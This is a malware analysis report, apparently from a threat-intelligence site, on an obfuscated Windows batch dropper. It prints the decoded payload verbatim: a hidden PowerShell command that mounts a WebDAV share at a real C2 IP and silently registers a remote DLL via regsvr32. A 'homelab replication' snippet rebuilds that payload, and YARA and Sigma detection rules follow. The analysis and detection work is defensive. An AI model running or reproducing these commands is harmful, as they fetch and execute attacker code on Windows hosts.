unclassified-js-webdav-dropper: 682bea06 — pure batch, natural-language SET obfuscation, 45.9.74.36:8888

Executive Summary

Thirty-seventh confirmed sibling of the unclassified-js-webdav-dropper family: a pure Windows batch-script dropper (112802522335817807.bat, 11.9 KB) using 36 natural-language-phrase SET variables for obfuscation, a color f0 && start wordpad decoy, and a PowerShell-hidden wrapper to mount a WebDAV share and silently register a remote DLL via regsvr32 /s. Static-only analysis (batch script; no PE binary to detonate). Infrastructure: 45.9.74.36:8888 — the most frequently observed C2 IP in this family.

What It Is

• File: 112802522335817807.bat ^[file.txt]
• Size: 11,932 bytes ^[file.txt]
• Type: ASCII text with CRLF line terminators; very long lines (up to 2,215 chars) ^[file.txt]
• SHA-256: 682bea06c5cfeabc74f1a08f5a0383bb48c6787b9c08d4371efa2c3c7753bd55 ^[triage.json]
• Family: unclassified-js-webdav-dropper (thirty-seventh confirmed sibling) ^[index.md]

How It Works

The script opens with a goto wind jump, skipping 48 lines of natural-language word-salad padding (e.g., "authority chubby adaptable airplane different loss dislike grateful promise..."). ^[strings.txt:1-48] This padding serves no functional purpose — it is anti-triage noise to inflate file size and delay analyst comprehension.

At the :wind label, 36 SET variables are defined in a single concatenated line, each mapping a long English-phrase name to a single alphanumeric character: ^[strings.txt:49]

set northfemaledifferent=7
set icicledepressedmatch=3
set aftermathundesirableunsuitable=b
set grouchytastelessdirt=c
... (36 total)

The variable names are grammatically plausible three-to-five-word English phrases (e.g., meddleneighborlyinquisitive, swelteringorganictangy, hangingcemeterytiger). This is the same naming convention observed in siblings ffd5d894, e11665cf, dac5e0ee, b2a097ba, b32ea531, 976dc607, and 9bea44f4. ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html]

The decoded payload executes in three lines:

color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\28078514069.dll
exit

Line 1 (color f0 && start wordpad) launches WordPad as a decoy to occupy the user. ^[strings.txt:50] Line 2 spawns powershell.exe -WindowStyle Hidden to mount the WebDAV share and call regsvr32 /s on the remote DLL. ^[strings.txt:51] Line 3 (exit) terminates the batch interpreter. ^[strings.txt:52]

Notably, this sample uses net use + regsvr32 /s in a single PowerShell command line rather than the native batch net use + regsvr32 seen in earlier siblings. The PowerShell wrapper adds one additional proxy-execution layer (T1218) and conceals the command from basic cmd.exe command-line logging unless EDR captures the PowerShell process arguments.

Decompiled Behavior

Not applicable — this is a plaintext batch script, not a compiled binary. No Ghidra or radare2 analysis possible. The script logic is fully recoverable via cmd.exe /D /C variable expansion or manual substitution.

C2 Infrastructure

The 45.9.74.36:8888 infrastructure is the most frequently observed C2 endpoint in this family, hosting 25+ siblings across batch and JScript dialects. ^[raw/analyses/unclassified-js-webdav-dropper.md]

Interesting Tidbits

• Padding volume: 48 lines of word-salad noise (≈ 40% of file size) before the :wind label. This is within the range observed in siblings 976dc607 (~40 lines) and a1b6e36f (~185 lines), confirming the padding-as-obfuscation trend in the pure-batch natural-language dialect. ^[/intel/analyses/976dc6079cdd2f55efaccf08f0b16317523e6143dddbe825a82aa23be9d74acc.html] ^[/intel/analyses/a1b6e36f99e1f94e452e8edcf7af6ba0e86de30d8e7508399881519c85f7b5c4.html]
• Variable name length: 12–30 characters per name, averaging 22.5 chars. Longer than the shared-prefix dialect (8–12 chars) but shorter than the most verbose natural-language siblings.
• Character coverage: All 36 variables cover the full alphanum set a-z0-9 (no uppercase, no punctuation). The payload requires only lowercase letters, digits, and standard batch symbols (\, @, ., %, &, ;, -, ).
• PowerShell wrapper: Unlike siblings ffd5d894, e9e82d14, and f170f5a9 which execute net use + regsvr32 directly from batch, this sample wraps both commands inside a powershell.exe -WindowStyle Hidden call. This is a behavior observed in sibling 976dc607 but not in the earlier pure-batch cluster. The shift suggests operator preference for PowerShell proxy execution to evade simpler cmd.exe telemetry rules.
• No persistence: No registry writes, scheduled tasks, or startup-folder copies. One-shot execution consistent with all prior siblings. ^[raw/analyses/unclassified-js-webdav-dropper.md]
• No sandbox gate: No aspnet_compiler, VmCompute, or vmtoolsd checks. No anti-VM, anti-debug, or connectivity verification. The script executes blindly on any Windows host with WebDAV client enabled. ^[raw/analyses/unclassified-js-webdav-dropper.md]

How To Mess With It (Homelab Replication)

1. Reproduce the obfuscation:

   import random, string
   payload = "color f0&&start wordpad\n"
   payload += "start powershell.exe -windowstyle hidden net use \\\\\\45.9.74.36@8888\\davwwwroot\\ ; regsvr32 /s \\\\\\45.9.74.36@8888\\davwwwroot\\28078514069.dll\n"
   payload += "exit\n"
   # Generate 36 natural-language variable names mapping to payload chars
   # (omitted for brevity — use a word-list and assign one char per name)
   

2. Test detection: Drop the .bat on a Windows VM with EDR. Does the EDR flag:
   • powershell.exe -WindowStyle Hidden spawned by cmd.exe?
   • net use with a DavWWWRoot UNC path?
   • regsvr32.exe loading a DLL from a network share?
3. Test static YARA: Write a rule matching SET [a-z]{12,30}=[a-z0-9] repeated 30+ times followed by %[a-z]{12,30}% concatenation patterns. See Deployable Signatures below.

Deployable Signatures

YARA Rule

rule WebDAV_Batch_Dropper_NaturalLang_SET
{
    meta:
        description = "WebDAV batch dropper with natural-language SET variable obfuscation"
        author = "PacketPursuit"
        family = "unclassified-js-webdav-dropper"
        reference = "/intel/analyses/682bea06c5cfeabc74f1a08f5a0383bb48c6787b9c08d4371efa2c3c7753bd55.html"
    strings:
        $set_pattern = /set [a-z]{12,30}=[a-z0-9]/
        $wind_label = ":wind" ascii wide
        $davwwwroot = "DavWWWRoot" ascii wide nocase
        $regsvr32 = "regsvr32" ascii wide nocase
        $powershell_hidden = "-windowstyle hidden" ascii wide nocase
        $wordpad_decoy = "start wordpad" ascii wide nocase
    condition:
        uint16(0) != 0x5A4D and       // not a PE
        filesize < 25KB and
        #set_pattern > 30 and
        $wind_label and
        $davwwwroot and
        $regsvr32 and
        any of ($powershell_hidden, $wordpad_decoy)
}

Sigma Rule

title: WebDAV Batch Dropper Execution - PowerShell Hidden Wrapper
status: experimental
description: Detects batch script spawning PowerShell with hidden window to execute net use + regsvr32 against a WebDAV UNC path
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\cmd.exe'
        CommandLine|contains:
            - 'windowstyle hidden'
            - 'net use'
            - 'DavWWWRoot'
    selection_regsvr32:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: 'DavWWWRoot'
    selection_netuse:
        Image|endswith: '\net.exe'
        CommandLine|contains: 'DavWWWRoot'
    condition: selection_parent or selection_regsvr32 or selection_netuse
falsepositives:
    - Legitimate WebDAV administration scripts
level: high

IOC List

Behavioral Fingerprint

This script is a pure batch file (not a PE) that begins with a goto jump past 40+ lines of natural-language noise padding. It defines 30+ SET variables with long English-phrase names (12–30 chars each), each mapping to a single alphanumeric character. The payload is assembled via %VARNAME% concatenation on a single line. The decoded behavior is: (1) change console colors and launch WordPad as a decoy; (2) spawn powershell.exe -WindowStyle Hidden to mount a WebDAV share (\\IP@8888\DavWWWRoot\) and silently register a remote DLL via regsvr32 /s; (3) exit. No persistence, no sandbox gate, no anti-analysis. The 45.9.74.36:8888 C2 has hosted 25+ siblings in this family.

Detection Signatures

Not applicable — this is a script, not a compiled binary. No capa, no pefile, no IAT. Static detection relies on:

• File-type heuristics (.bat with >30 SET assignments and %VAR% concatenation)
• EDR process-creation telemetry (cmd.exe → powershell.exe → regsvr32.exe with UNC path)
• Network telemetry (outbound HTTP/WebDAV to 45.9.74.36:8888)

References

• Family entity: unclassified-js-webdav-dropper
• Technique: batch-powershell-variable-expansion-obfuscation
• Technique: webdav-regsvr32-dll-sideloading
• Concept: social-engineering-filename-lure
• OpenCTI labels: bat, malware-bazaar ^[triage.json]

Provenance

Analysis derived from:

• file.txt — file(1) identification
• strings.txt — full text extraction (raw and decoded)
• triage.json — triage pipeline metadata
• metadata.json — artifact metadata from OpenCTI
• Manual variable substitution and decoding

No CAPE detonation (batch script, not a supported binary class). No Ghidra/radare2 analysis (plaintext script, not a PE). Static-only inference is complete and accurate.